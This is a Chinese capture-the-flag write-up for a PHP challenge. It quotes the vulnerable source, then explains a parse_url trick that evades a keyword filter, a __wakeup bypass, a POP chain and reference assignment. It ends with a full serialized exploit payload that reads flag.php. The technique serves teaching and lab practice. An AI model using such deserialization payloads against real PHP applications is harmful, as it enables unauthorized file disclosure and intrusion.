parse_url的解析漏洞
_wakeup()绕过
序列化pop链的构造
php引用赋值
打开页面后查看源代码:
提示为本地文件包含漏洞,查看index.php和hint.php.
index.php:
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
flag
.?
后面的参数和内容,也不能出现flag。hint.php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
parse_url的解析漏洞
。index.php?file=&payload=
改为index.php//?file=&payload=
会把后面的query内容当作host内容。首先分析handle类:
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
_construct()
,我们可以让$handle
赋值为一个实例化的Flag()
,这样在类销毁的时候,会自动调用_destruct()
,从而运行getFlag()
._wakeup()
,因为它会把赋值的$handle
内容清空。然后看一下Flag类:
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
可以实例化一个Flag()
,给其中的file赋值为flag.php。
构造pop链
1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);
2, 构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>$a = new Handle($b);
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
//$this->token_flag = $this->token = md5(rand(1,10000));
}
}
$a = new Flag("flag.php");
$b = new Handle($a);
echo serialize($b);
?>
O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";N;}}
O:6:"Handle":2:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";N;}}
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
它在创建的时候就会提前
$this->token_flag = $this->token = md5(rand(1,10000))
给token和token_flag赋值,然后在调用getFlag()函数的时候,又会给token_flag赋值,然后判断token和token_flag是否相等。 这里可以使用php的引用赋值来绕过。
原理:
a=1;
b=&a;
a=a+1;
那末最后b得值也会变为2,因为b是引用赋值。
所以,最后加上:
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>
生成:
O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"44ac09ac6a149136a4102ee4b4103ae6";s:10:"token_flag";R:4;}}
其中Handle handle本来长度为12,但前面是14,因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00。
0x00的url编码为%00,加上需要绕过_wakeup的方法,因此我们传参时要进行编码,最终payload为:
......//?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"44ac09ac6a149136a4102ee4b4103ae6";s:10:"token_flag";R:4;}}
最终: